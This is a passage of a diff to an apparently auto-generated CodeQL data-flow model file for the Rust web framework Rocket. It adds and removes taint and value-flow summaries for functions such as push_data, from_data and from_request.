["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[0].Field[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::form::context::Contextual::context]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::error::Error::kind]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::set_entity", "Argument[0]", "Argument[self].Field[crate::form::error::Error::entity]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::status", "Argument[self].Field[crate::form::error::Error::kind].Field[crate::form::error::ErrorKind::Custom(0)]", "ReturnValue", "value", "dfc-generated"] @@ -119,6 +183,7 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::error::ErrorKind::Custom(1)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::error::Errors(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::error::Errors(0)]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -131,6 +196,8 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue.Field[crate::form::field::ValueField::value]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::shift", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::form::Form(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::form::Form(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -138,6 +205,8 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::form::form::Form(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::lenient::Lenient(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::lenient::Lenient(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -149,15 +218,19 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[1]", "ReturnValue.Field[crate::form::name::buf::NameBuf::right]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[crate::form::name::view::NameView::name].Element", "ReturnValue.Field[crate::form::name::buf::NameBuf::left].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::name::buf::NameBuf::left]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::name::key::Key(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_str", "Argument[self].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::name::name::Name(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_str", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_str", "Argument[self].Field[crate::form::name::name::Name(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::borrow", "Argument[self].Field[crate::form::name::view::NameView::name].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_name", "Argument[self].Field[crate::form::name::view::NameView::name].Element", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::parent", "Argument[self].Field[crate::form::name::view::NameView::name].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::shift", "Argument[self].Field[crate::form::name::view::NameView::end]", "Argument[self].Reference.Field[crate::form::name::view::NameView::start]", "value", "dfc-generated"] @@ -167,6 +240,8 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::form::parser::RawStrParser::buffer]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::form::parser::RawStrParser::source]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::strict::Strict(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::strict::Strict(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -184,12 +259,18 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::path", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::take_file", "Argument[self].Field[1]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::take_file", "Argument[self].Field[crate::fs::named_file::NamedFile(1)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::handle", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::handle", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::handle", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::fs::server::FileServer::options]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::rank", "Argument[0]", "Argument[self].Field[crate::fs::server::FileServer::rank]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::rank", "Argument[0]", "ReturnValue.Field[crate::fs::server::FileServer::rank]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::rank", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::len", "Argument[self].Field[crate::fs::temp_file::TempFile::File::len].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::len", "Argument[self].Field[crate::fs::temp_file::TempFile::File::len].Reference", "ReturnValue", "value", "dfc-generated"] @@ -214,6 +295,7 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::remote", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::_cookies", "Argument[self].Field[crate::local::asynchronous::response::LocalResponse::cookies]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::_response", "Argument[self].Field[crate::local::asynchronous::response::LocalResponse::response]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::_test", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::_with_raw_cookies", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] @@ -226,25 +308,43 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::local::blocking::request::LocalRequest::client]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::private_cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::remote", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::_cookies", "Argument[self].Field[crate::local::blocking::response::LocalResponse::inner].Field[crate::local::asynchronous::response::LocalResponse::cookies]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[0]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[0]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::and_then", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::and_then", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::and_then", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] @@ -287,6 +387,7 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_forward", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_forward", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_forward", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::pin", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::succeeded", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::success_or", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::success_or", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] @@ -308,14 +409,17 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[2]", "ReturnValue.Field[crate::request::request::Request::uri]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::remote", "Argument[self].Field[crate::request::request::Request::connection].Field[crate::request::request::ConnectionMeta::remote]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::rocket", "Argument[self].Field[crate::request::request::Request::state].Field[crate::request::request::RequestState::rocket]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::routed_segments", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::set_uri", "Argument[0]", "Argument[self].Field[crate::request::request::Request::uri]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::uri", "Argument[self].Field[crate::request::request::Request::uri]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::max_chunk_size", "Argument[self].Field[crate::response::body::Body::max_chunk]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::preset_size", "Argument[self].Field[crate::response::body::Body::size]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::set_max_chunk_size", "Argument[0]", "Argument[self].Field[crate::response::body::Body::max_chunk]", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket", "::take", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::to_bytes", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_sized", "Argument[1]", "ReturnValue.Field[crate::response::body::Body::size]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_unsized", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::debug::Debug(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::error", "Argument[0]", "ReturnValue.Field[crate::response::flash::Flash::inner]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::response::flash::Flash::kind]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::response::flash::Flash::message]", "ReturnValue.Field[1]", "value", "dfc-generated"] @@ -324,7 +428,6 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::response::flash::Flash::inner]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::success", "Argument[0]", "ReturnValue.Field[crate::response::flash::Flash::inner]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::warning", "Argument[0]", "ReturnValue.Field[crate::response::flash::Flash::inner]", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[self].Field[crate::response::response::Builder::response]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::header_adjoin", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::join", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -333,7 +436,6 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::merge", "Argument[0].Field[crate::response::response::Response::body]", "ReturnValue.Field[crate::response::response::Builder::response].Field[crate::response::response::Response::body]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::merge", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::response::response::Builder::response]", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok", "Argument[self].Field[crate::response::response::Builder::response]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::raw_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::raw_header_adjoin", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::sized_body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -353,7 +455,6 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::tagged_body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::bytes::ByteStream(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::one::One(0)].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket", "::poll_next", "Argument[self].Field[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::reader::ReaderStream::stream]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::event", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::id", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -366,6 +467,11 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::sse::EventStream::stream]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::heartbeat", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::text::TextStream(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::contains", "Argument[0]", "ReturnValue.Field[1]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[0]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)].Field[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)].Field[1]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] @@ -374,6 +480,7 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[0].Field[1]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)].Field[1]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[0]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::rkt::Rocket(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::rkt::Rocket(0)]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -383,19 +490,24 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::configure", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::default_tcp_http_server", "Argument[self]", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::manage", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[crate::route::route::StaticInfo::format]", "ReturnValue.Field[crate::route::route::Route::format]", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[crate::route::route::StaticInfo::method]", "ReturnValue.Field[crate::route::route::Route::method]", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[crate::route::route::StaticInfo::rank].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::route::route::Route::rank]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::mount", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::register", "Argument[self]", 